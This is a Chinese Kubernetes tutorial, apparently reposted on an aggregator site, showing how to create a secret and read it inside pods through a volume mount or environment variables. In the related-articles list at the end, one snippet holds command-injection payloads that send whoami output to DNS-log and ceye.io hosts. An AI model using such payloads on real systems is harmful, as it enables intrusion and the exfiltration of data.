k8s创建secret并在container中获取secret

news2024/12/25 12:27:00

k8s创建secret并在container中获取secret

本文使用的deployment和service与我的上一篇文章一样。link也放在下面了,如果不懂什么事deployment和service,可以先看我的上一篇文章。
k8s使用kustomize来部署应用

下面我们将通过创建secret开始。secret是我们自己收到创建的,我们需要先通过下面的命令来创建分别存放username和password的文件。

echo -n 'admin' > ./username.txt
echo -n 'S!B\*d$zDsb=' > ./password.txt

下面我们通过一个命令把secret绑定到我们需要部署的命名空间,即dev-api中,secret的名字叫db-user-pass,存放有两对keypairs。

kubectl create -n dev-api secret generic db-user-pass \
    --from-file=username=./username.txt \
    --from-file=password=./password.txt

我们通过下面命令查看secret是否创建成功,如果有secret的详细信息,说明已经创建成功了。

# 查看secret
kubectl get secret -n dev-api
kubectl describe secret -n dev-api db-user-pass 

也可以使用下面命令解码secret看看。

kubectl get secret -n dev-api db-user-pass -o jsonpath='{.data.password}' | base64 --decode

方法一:使用挂载访问secret

下面我们更改deployment.yaml是的container中可以访问这个secret。

apiVersion: apps/v1
kind: Deployment
metadata:
  name: api-helloworld # 部署的名称
  # namespace: dev-api # 部署到哪个命名空间, 使用kustomize的话这里不能出现,需要在overlays/dev/kustomization.yaml 指定
spec:
  replicas: 2  # 设置副本数量为2
  selector:
    matchLabels:
      app: api-helloworld # 用于选择匹配的Pod标签
  template:
    metadata:
      labels:
        app: api-helloworld # Pod的标签
    spec:
      containers:
      - name: api-helloworld-c # 容器名称
        # image: docker.io/library/restfulapi:latest # For image in container, use ctr -n k8s.io images import restfulapi.tar to import images
        image: restfulapi:1  # For image in docker
        imagePullPolicy: IfNotPresent # 镜像拉取策略,如果本地没有就拉取
        ports:
        - containerPort: 80 # 容器内部监听的端口
        volumeMounts:
        - name: secret-volume
          mountPath:  "/etc/secrets"
          readOnly: true
      volumes:
      - name: secret-volume
        secret:
          secretName: db-user-pass

想对于没有修改之前的版本,这里主要加入了对volume以及volumeMounts的描述,volume把secret定义在volume上面了,volumeMount则是把volume挂载到Pod.

主要变化。

      containers:
      - name: api-helloworld-c # 容器名称
        # image: docker.io/library/restfulapi:latest # For image in container, use ctr -n k8s.io images import restfulapi.tar to import images
        image: restfulapi:1  # For image in docker
        imagePullPolicy: IfNotPresent # 镜像拉取策略,如果本地没有就拉取
        ports:
        - containerPort: 80 # 容器内部监听的端口
        volumeMounts:
        - name: secret-volume
          mountPath:  "/etc/secrets"
          readOnly: true
      volumes:
      - name: secret-volume
        secret:
          secretName: db-user-pass

最后,我们重新部署一下。

cd overlay/dev
kubectl kustomize | kubectl apply -f -

在这里插入图片描述
当确定好Pod已经起来以后,我们就可以进去Pod里面看看我们的secret了。

kubectl exec -it -n dev-api api-helloworld-6c7c74fcbd-22prm -- bash
ls /etc/secrets/

在这里插入图片描述
可以看得到secret已经可以成功范围了,并且值得注意的是,当作为volume挂载进来Pod的时候,secret会自动的进行base64解码,这里直接就可以访问明文了。

方法二:使用环境变量方式访问secret

deployment.yaml如下:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: api-helloworld # 部署的名称
  # namespace: dev-api # 部署到哪个命名空间, 使用kustomize的话这里不能出现,需要在overlays/dev/kustomization.yaml 指定
spec:
  replicas: 2  # 设置副本数量为2
  selector:
    matchLabels:
      app: api-helloworld # 用于选择匹配的Pod标签
  template:
    metadata:
      labels:
        app: api-helloworld # Pod的标签
    spec:
      containers:
      - name: api-helloworld-c # 容器名称
        # image: docker.io/library/restfulapi:latest # For image in container, use ctr -n k8s.io images import restfulapi.tar to import images
        image: restfulapi:1  # For image in docker
        imagePullPolicy: IfNotPresent # 镜像拉取策略,如果本地没有就拉取
        ports:
        - containerPort: 80 # 容器内部监听的端口
        env:
        - name: SECRET_USERNAME
          valueFrom: 
            secretKeyRef:
              name: db-user-pass
              key: username
        - name: SECRET_PASSWORD
          valueFrom:
            secretKeyRef:
              name: db-user-pass
              key: password

上面主要是加入了env的相关描述,绑定到Pod里面的环境变量名分别为SECRET_USERNAME,SECRET_PASSWORD。同样,我们把deployment的变化直接apply到集群。

cd overlay/dev
kubectl kustomize | kubectl apply -f -

Pod确定起来以后,我们进去里面看看我们新绑定的env.

kubectl get pods -n dev-api
kubectl exec -it -n dev-api api-helloworld-797679c6c-5wk72 -- bash
env | grep SECRET

在这里插入图片描述
同样我们也可以在env中看到我们新绑定的secret,并且和卷绑定一样,可以看到是明文形式来存储的。

好了以上是本期分享的全部内容了,如果你觉得对你还有帮助,建议点赞分享并收藏哦。如果大家想对我表示肯定,扫描下面的二维码即可哦,原创不易,一分钱也是爱哦。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1987180.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++ exe程序内存占用分析之Linux篇

基础分析 git clone --recursive https://github.com/google/bloatycd bloatygit submodule updatemkdir buildcd buildcmake ..make -j8bloaty bloatyFILE SIZE VM SIZE -------------- --------------35.5% 16.9Mi 0.0% 0 .debug_info25.2% 12.0Mi…

代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯

贴一下动态规划的步骤(5步),就像是之前递归一样,需要每次落实到位。 确定dp数组(dp table)以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 ​​​​​509. 斐波那契 注意到n的范…

WEB渗透Web突破篇-命令执行

命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…

在网页上进行 3D 产品展示的开发需要用到哪些器材和技术?

问题补充: 3D产品展示就是根据用户输入的数据,比如身高,体重,爱好等等的信息在网页上形成一个3D的人体模型,并根据网站的数据库自动为用户挑选合适的衣服并展示在生成的3D模型上。 在网页上进行3D产品展示的开发&…

在idea中将JDK17换成JDK8

五步:(改五个地方) pom文件: 1:SpringBoot版本改成2.多 2:jdk版本改成8 3:蓝框中的数字改成1.8. 4:SDK改成1.8 5:红框内数字改成8

gin-vue-admin框架遇到AxiosError:Network Error怎么解决?

flipped-aurora/gin-vue-admin: 🚀ViteVue3Gin的开发基础平台,支持TS和JS混用。它集成了JWT鉴权、权限管理、动态路由、显隐可控组件、分页封装、多点登录拦截、资源权限、上传下载、代码生成器【可AI辅助】、表单生成器和可配置的导入导出等开发必备功能…

HTML5+CSS3笔记(Xmind格式):第三天

Xmind鸟瞰图: 简单文字总结: 过渡 transition: 过渡属性 过渡时间 运动曲线 何时开始 2D变形transform : 1.平移:translate(单位px) 2.缩放:scale(默认1,大于1放大,小于1缩小) 3…

Laravel 使用Excel导出的文件中,指定列数据格式为日期,方便后期的数据筛选操作

背景 最近,后台运维要求导出的 Excel文件,对于时间的筛选,能满足年份、月份的选择 通过了解,发现: 先前导出的文件,默认列数据都是字符串(文本)格式 同时,因为用的是 Lar…

H3C MSR NAT66配置指北

正文共:1456 字 14 图,预估阅读时间:1 分钟 通过前面的介绍(企业路由器配置IPv6家用宽带的PPPoE拨号示例),想必你已经可以实现让MSR路由器通过PPPoE拨号接入IPv6网络。 正常来讲,通过前面的配置…

PLSQL 无客户端连接服务器设置

文章目录 1 概述1.1 使用场景 2 步骤2.1 下载 PLSQL 客户端2.2 观察 工具-首选项-OCI库(自动检测为空)2.3 下载 instantclient2.4 配置环境变量2.5 配置 PLSQL 3 测试 1 概述 1.1 使用场景 场景:只需要连接服务器上的 Oracle,而…

C++:多态二

在面向对象方法中,所谓多态性就是不同对象收到相同消息,产生不同的行为。在C程序设计中,多态性是指用一个名字定义不同的函数,这些函数执行不同但又类似的操作,这样就可以用同一个函数名调用不同内容的函数。换言之&am…

虚拟机ubuntu22.04找不到ttyUSB*端口

问题描述: 在虚拟机上运行Ubuntu22.04,使用 ls /dev/ttyUSB* 发现查不着不到相关的端口文件。 排查问题及解决办法: 问题1:排查数据线是否只是单纯的充电线,单纯充电线无法进行数据传输,需要替换为数据…

怎么申请IP SSL证书?

申请 IP SSL 证书的过程通常涉及以下几个步骤。下面是一个概括性的指南,具体细节可能会根据不同的证书颁发机构(CA)而有所不同。以下步骤是基于 JoySSL 的流程,但大部分 CA 的申请流程都会有类似的要求: 1、确认IP地址…

介绍一个基于Ring 3 的rootkit

首先先科普用户态内核态 两者的在指令上的区别 一般来说,ring0权限下开放的指令有:IO读写、网卡访问、申请内存、访问硬件资源。 一般来说,ring3权限下开放的指令有:普通的计算指令等 两者在空间权限的区别 用户态和内核态…

装修装饰行业4G/5G无线视频监控技术方案

目录 一、引言 二、技术优势 三、系统方案设计 1、系统架构 2、监控前端 3、监控中心 四、系统功能 1、基本功能 (1)实时视频监控 (2)录像存储回放 (3)报警联动 (4)语音…

超越sd3!比肩Midjourney-v6?AI绘画大模型FLUX1.0详细评测与本地部署方法(附安装文件)

​ FLUX.1模型是什么? FLUX模型是一个开源的AI图像生成模型,由黑森林工作室研发。 堪比sd3以及Midjourney-v6 背景/backdrop 黑森林工作室(Black Forest Labs)由前Stability AI核心成员团队成立,专注于开发高级生成式…

脚本:自动生成精准的Oracle AWR报告

很多朋友把AWR报告发过来让我帮忙分析Oracle数据库的性能,但很多报告都有一个共同的缺陷:就是这些报告覆盖的时间范围太广,导致性能问题的数据被严重稀释。 英文原文:Script: Generating Focused AWR Reports 为了解决这个问题&a…

多模态大模型 intern_vl 2.0版本解读

目录 更大规模的语言模型 多模态输入 多任务输出 性能表现 github:GitHub - OpenGVLab/InternVL: [CVPR 2024 Oral] InternVL Family: A Pioneering Open-Source Alternative to GPT-4o. 接近GPT-4o表现的可商用开源多模态对话模型 论文:https://arxiv.org/pdf…

TypeScript循环2

循环2 for(开始条件&#xff0c;结束条件&#xff0c;变量更新){} for使程序能够重复执行某段代码&#xff0c;直至满足特定条件为至。 // 打印1~100for(let i:number0;i<100;i){console.log(i);}死循环,程序中要避免出现 即使需要你使用&#xff0c;也需要有退出条件 …

Windows系统cmd黑窗口cd命令不起作用的解决办法

一般这种情况是通过win r 输入cmd唤起得窗口是在c盘&#xff0c;而想切换到其他磁盘目录却发现命令并不生效&#xff0c;例如&#xff1a; 解决的办法就是先切换磁盘&#xff0c;再cd到文件夹目录&#xff0c;比如我切换到E盘&#xff0c;就是E&#xff1a; 然后再cd目标目录…